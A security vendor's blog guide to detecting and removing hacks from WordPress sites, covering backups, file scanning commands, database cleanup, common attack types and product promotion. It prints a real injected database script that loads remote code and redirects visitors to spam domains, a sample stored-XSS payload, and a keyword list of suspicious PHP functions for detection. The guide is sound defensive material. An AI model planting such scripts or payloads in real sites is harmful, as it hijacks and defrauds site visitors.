Site icon Astra Security Blog

WordPress Hack Removal Guide With Complete Steps

Is your WordPress site hacked and showing weird hack symptoms?

We understand it can be hard to accurately find and remove a hack, so we’ve put together this extensive guide that would help you in detecting & removing the hack in no time. This guide will cover the symptoms, detection, and removal process of a WordPress hack. This guide also covers possible hack causes and types. If you want to get to the WordPress hack removal steps right away, click here.

Symptoms of a Hacked WordPress Website

While things like the defacement of your site are clear indications of a WordPress hack, other signs may be subtle. These may go unnoticed by average users, but they still do a lot of harm, so it’s a good idea to remove them as soon as you find out. Some subtle signs of a WordPress hack are:

1. You receive warning messages

2. Your site begins to behave weirdly

If you see any of the signs given below, your website is very likely to have been the victim of a WordPress hack.

3. You see changes in files

File changes are the easiest way to know if your website was hit by a WordPress hack. Here are some symptoms to look for:

How to fix a WordPress Hack

After you are sure that you’re indeed facing a WordPress hack, this is how you can go about the hack removal:

1. Take a backup of your website

Take a full backup of your website – it’s always a good idea to have one. Since the purpose of a backup is to restore the website in case of a mishap, do ensure that it is functional.

Make sure that your backup includes your WP core files, WP database, plugin files, theme files, and the .htaccess file. Most hosting services offer backing-up features. Get in touch with your hosting provider to learn the backup process. You can also take a backup manually via an SFTP client like Filezilla.

Site Backup

A few other ways to take a backup of your site are given below:

1. Use a Plugin

WordPress also has loads of backup plugins such as UpdraftPlus that simplify the process. You can take a full back up of your site with files & database.

2. Backup Via SSH

To take a backup of your files, here is what you can do,

This will make a zip file of your website which you can then download on your PC.

3. Backup Via SFTP

Since this requires manual effort, it may take more time than the previous methods.

Database Backup

To take a complete backup of your database, you can do the following:

1. Backup via a Plugin

Again, you can use the same UpdraftPlus plugin to backup your database.

2. Backup via PHPMyAdmin

You can also export your database and store it in your PC via PHPMyAdmin.

3. Backup via SSH

Do remember to change the credentials (username, passwords, hostname, etc.) before backing up the database. Also, remember to delete the copy from the file server after you’ve stored it locally.

2. Turn on the Maintenance Mode

If you have detected malicious activity on your website, it is only prudent to put it in maintenance mode. This will ensure that your visitors are not affected by the hack.

Also, while attempting to clean the hack, the changes might hinder the performance of your live site unless you’ve turned on the maintenance mode.

You can also use a WordPress plugin like the Coming Soon plugin to show quirky maintenance mode messages to your site’s visitors without revealing that you’re cleaning up a WordPress hack.

Here is how this plugin works:

You can even customize the coming soon page with your brand’s message & logo with this plugin.

3. Change any current passwords

If you can still access your website, change all the passwords immediately to help cut off the hacker’s access. This should include passwords to your admin panel, hosting account, database, and other accounts. If you have other team members using the admin panel, ask them to change their passwords as well to avoid your site getting compromised.

You can also opt for a re-authentication of all user accounts. This will automatically log out every user from your website, and they will need to get authorized again. This is another way of seizing access from any unauthorized user.

It might be a good idea to create automatic new passwords with the help of a password management tool such as LastPass or KeePass for each of these accounts.

Note: When you change your database credentials, don’t miss adding that to the wp-config.php file.

4. Check for any Plugin Vulnerabilities

Vulnerabilities in third-party plugins are another common reason for  WordPress hacks. As many as 56% of WordPress hacks are a result of plugin vulnerabilities.

So, before jumping to the cleaning process, make sure that the current versions of your plugins are vulnerability-free. To confirm this, you can check the WordPress forum or our blog. We try our best to keep our readers updated and safe by pushing out a blog or an advisory in case of a massive plugin exploit.

Since plugin exploits target large chunks of sites running the vulnerable plugin, you’ll find many people asking for solutions on forums. You can Google any particular vulnerability and find detailed steps on how to mitigate the vulnerabilities.

30,000 websites get hacked every single day. Are you next?

Secure your website from malware & hackers using Website Protection before it is too late.

5. Diagnose Files

5.1. Use a malware scanner to find malicious codes

Run your site through a malware scanner (Astra has a great one!). It will fetch you details of all files with malicious content. You can also scan for malware manually, but that would require a lot of time.

If you find suspicious files, you can use online tools to decrypt their contents. Below is an example of a malicious file, hiddencode.txt. This can also be done using phpMyAdmin as shown in the image given below. That’s not all, phpMyAdmin can also come in handy while cleaning the database in case of a WordPress hack.

In case you find something suspicious but are unable to figure out what it does, you can get in touch with our experts. We’ll be happy to help!

5.2. Use the ‘find’ command to review recent modifications

In order to see any WordPress files modified by the attackers, obtain SSH access to your server and run the following command:

find . -mtime -2 -ls

This command would list all the WordPress files modified in the last 2 days. You can keep increasing the number of days till you find something fishy. Combine this find command of SSH with the grep command to search for code encoded in base64 format. Simply execute the following command:

find . -name "*.php" -exec grep "base64"'{}'; -print &> hiddencode.txt

5.3. Compare with the original WordPress files 

You can also download fresh WordPress files from the WordPress directory and compare your backup with this. You can also use online tools like diff checker to find the differences between the files. Make sure to download files according to your WordPress version. Note the differences for further analysis. If you find any malicious injected links, remove them at once. It’s also a good idea to check the files for certain keywords like – eval, exec, strrev, assert, base64, str_rot13, Stripslashes, preg_replace (with /e/), move_uploaded_file, etc.

You can further simplify the search for these keywords by using commands. For instance, to search files with the keyword ‘base64’, run the following command:

sudo grep -ril base64 /

Now, replace ‘base64’ with each keyword to fetch files containing them and then review them attentively.

5.4. Check with Diagnostic Tools

Generally, webmaster’s tools are quick & accurate in detecting the hack. You can use these to find the problem. The Google search console, for example, lists the problems under the ‘Security’ tab. This is a great way to confirm the type of hack and hacked files/pages. Review this information to look for a WordPress hack, and for a proper WordPress hack removal.

6. Clean the Malicious Scripts from WordPress Files

After the extensive diagnosis of your WordPress hack, list down all the findings. Each file difference, recent modifications, fake users/admins, should be reviewed with the utmost attention. Clean the WordPress core files such as wp-config.php, wp-contents/uploads, wp-uploads, plugin files, theme files, the database, etc.

Here is a list of the comprehensive in-depth WordPress Hack Removal guides specific to WordPress hack symptoms. You can follow them to detect & fix the hacked WordPress:

7. Clean the sitemap

Another cause of a WordPress hack maybe that malicious scripts are residing in your site’s sitemap.xml. An XML sitemap is a file that helps Google crawl all the important pages on your website. Sometimes, hackers inject malicious links into your sitemap. Scan your sitemap for malicious links. If you find anything other than normal, remove it.

8. Clean the database

The WordPress database is where all information regarding your users, site pages, sensitive credentials, etc. resides. It’s a no-brainer that the database makes for a desirable target. Hence, it is extremely important to scan the database too, to find the hack. You can use a malware scanner to know more exactly about infections in your wp_db file.

If you wish to check manually, you would need to scan every one of the 11 tables to find the hack. Search for links/iframes that look suspicious and remove them to get rid of the WordPress site hack. Here is an example of a redirection code inserted into the database:

<script>
const overlayTranslations = {"en":{"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website."}};
const overlay = {"delay":3000,"overlayStyle":{"background":"rgba(0,0,0, 0.6)"},"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website.",...(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])};
const s = document.createElement('script');
s.src='//humsoolt.net/pfe/current/tag.min.js?z=2774009';
s.onload = (sdk) => {
sdk.updateOptions({overlay, overlayTranslations})
sdk.onPermissionDefault(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionAllowed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionDenied(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onAlreadySubscribed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onNotificationUnsupported(() => {});
}
document.head.appendChild(s);
</script>
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2574011" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script>

9. Reinstall

If the site is heavily infected, it’s better to delete the files and replace that with fresh counterparts. That said, reinstalling is not limited to the files only; after the cleanup makes sure to reinstall each plugin. Sometimes due to lack of time or lack of vigilance we tend to store defunct plugins. A hacker benefits from these plugins for they almost always have exploitable vulnerabilities.

Some WordPress web owners believe that deleting the whole website and starting from scratch is a more viable option.

Well, it’s not.

There’s always a better alternative to starting from scratch:

10. Let Astra Help You

If you are an Astra Pro customer, you needn’t worry a bit!

If you are not an Astra customer, you can sign up right now and our malware scanner will identify all the hidden malware and backdoor in your site.

Astra’s malware scanner flagging WP-VCD

Possible Reasons for WordPress Getting Hacked

Your website’s security depends on the steps you take to secure it. Following simple security rules can go a long way in reducing your risks online. Here are a few reasons your site may have been affected, and how you can follow better security practices to avoid a WordPress hack:

1. Not Updating WordPress

This is the most basic security measure for a website. Failing to update to the latest version is the number one reason for WordPress hacks. So, always be quick in updating to the latest and patched versions. This patches the known vulnerabilities on your website. WordPress version 5.4.2 is the latest at the time this blog was updated (on 15 December 2020).

2. Hosting on a Shared Server

A shared server may be the cheaper option, but it has costlier after-effects if hacked. Move your website to a safer hosting, and make sure to choose a trusted hosting provider. Make sure to verify whether your provider complies to the best security standards.

3. Using Weak Passwords and Username

Almost all the sensitive areas on your website are password secured. A password made of your own name/your website name and has no numerals/characters is a weak password. Make sure you do not use weak passwords for the following –

Also, change your default username to something unique. Words like admin, your own name, website’s name, etc. are too easy to crack for the attacker.

4. Incorrect File Permissions

Easy file permissions can let attackers access, modify or delete them. In some cases, attackers even held files against ransom. Set the recommended permissions, and make sure to follow the principle of least privilege.

Related: How to fix WordPress File Permissions

5. Unprotected Access to wp-admin Directory

The wp-admin directory is the area from where you control your website. Allowing unprotected access to the WordPress admin directory lets your users/team members perform unwanted actions on your website. Thus, restrict access by defining permissions for different roles of the users. That way no user has the power to do it all. Further, adding layers of authentication to your WordPress admin directory also helps. 

6. Outdated Plugins or Theme

Numerous WordPress websites use outdated plugins and themes on their website. Since these plugins and themes already contain known vulnerabilities, it is way too easy for hackers to exploit them. Therefore, if the plugin developer pushes an update, you should be quick to follow.

7. Using Plain FTP instead of SFTP/SSH

FTP accounts are used to upload files to your web server using an FTP client. Plain FTP does not encrypt your password and heightens the risk of someone hacking it. SFTP (SSH File Transfer Protocol), on the other hand, sends encrypted data to the server. So, always opt for SFTP over FTP. You could do this by changing the protocol to ‘SFTP – SSH’ every time you connect to your server.

WordPress Hack Removal Steps

Get the ultimate WordPress security checklist with 300+ test parameters

How do hackers attack WordPress websites?

1. WordPress SQL Injection

WordPress version 4.8.3 and previous ones were found vulnerable to SQL injection attacks. Quite ironically, the $wpdb->prepare() method which is generally used to prepare safe queries was itself vulnerable this time. This meant that plugins and themes that used queries created using this function were also potentially vulnerable to an SQLi attack.

Similarly, the WP Statistics plugin of WordPress with more than 3,00,000 downloads was vulnerable to SQLi. Typically, an attacker can read sensitive tables like wp_users of your WordPress site using SQLi. Although the passwords are stored in an encrypted format, still tools can be used for decryption. This means getting admin credentials to log into an admin’s account in WordPress. In the worst-case scenario, the attacker can even upload a reverse shell using an SQLi leading to a WordPress site hacked.

Related Article –  Prevent SQL Injection in WordPress

2. WordPress Cross-Site Scripting

WordPress version 5.1.1 and previous ones were found vulnerable to an XSS, CSRF, and RCE vulnerability. This was a stored XSS vulnerability. The wp_filter_kses() function which is used to sanitize comments, allows basic HTML tags, and attributes like <a> tag combined with the ‘href‘ attribute. Therefore, attackers can deliver malicious payload like <a title=’XSS ” onmouseover=evilCode() id=” ‘>. This would get stored in the database and run every time a user visits this page.

Related Blog – Cross-Site Scripting in WordPress – Examples

3. WordPress Cross-Site Request Forgery

CSRF validation token has not been implemented in WordPress and rightly so because if done, it would hinder the trackbacks and pingbacks features of WordPress. To differentiate normal users from admins, WordPress uses an extra nonce for admin validation in the comment forms.

So, if the correct nonce is provided, the comment is created without sanitization. And if the nonce is incorrect, the comment is created with sanitization. So when an administrator fails to provide nonce, the comment is sanitized using wp_filter_post_kses() instead of the function wp_filter_kses(). Thus, the function wp_filter_post_kses() allows an attacker to create comments with lots more HTML tags and attributes than permissible thereby conducting a CSRF attack.

4. WordPress Remote Code Execution

WordPress versions before 4.9.9 and 5.x before 5.0.1 were found prone to RCE. The vulnerable parameter was the Post meta entry of the _wp_attached_file() function. This parameter could be manipulated to a string of choice i.e. ending with .jpg?file.php substring.

However, to exploit this, the attacker needed author privileges. The attacker with author privileges could upload a specially crafted image. This image contained the PHP code to be executed, embedded in the Exif metadata. Script to exploit this vulnerability are publically available and a Metasploit module has been released too!

5. WordPress Directory Traversal

WordPress 5.0.3 was vulnerable to Path Traversal attacks. To exploit this, the attacker needed at least author privileges on the target WordPress site. The vulnerable components was the function wp_crop_image().

So, the user running this function (is able to crop an image) could output the image to an arbitrary directory. Moreover, the file name could be appended with the directory up symbol i.e. ‘../‘ to get the path of the file an attacker wishes to obtain i.e .jpg?/../../file.jpg. Exploits and Metasploit modules to replicate this vulnerability are available online!

6. Buggy Plugins or Themes

It is also likely that a poorly coded plugin is responsible for WordPress getting hacked. Themes by non-reputed authors often contain buggy code. In some cases, attackers themselves release malware-laden plugins and themes to compromise numerous sites. Also, outdated WordPress software can make the site vulnerable thereby leading to WordPress hacked.

30,000 websites get hacked every single day. Are you next?

Secure your website from malware & hackers using Website Protection before it is too late.

Securing Your WordPress Website

1. Secure Practices

2. Use a Security Solution

A firewall can help in securing your WordPress site even if it is vulnerable. However, finding the correct firewall according to the diverse needs of WordPress can be tricky. Astra can help you in making the right choices from its three plans of Essential, Pro, and Business. No matter you use WordPress to run a small blog or a corporate site, Astra covers every ground for you. Moreover, the Astra security solution scans and patches your vulnerable WordPress site automatically. Just install the Astra plugin and your site is secure again.

Try a demo now!

3. Security Audit and Pentesting

As seen in the article, vulnerabilities in WordPress will arise from time to time. Therefore, as a precautionary measure, it is advisable to conduct penetration testing of your website. This will reveal the loopholes to you before the attackers can catch up on your site’s security. Astra provides a comprehensive security audit of the complete WordPress site. With its 120+ active tests, Astra gives you the right mix of automatic and manual testing.

It is one small security loophole v/s your entire website or web application

Get your web app audited with Astra’s Continuous Pentest Solution
Exit mobile version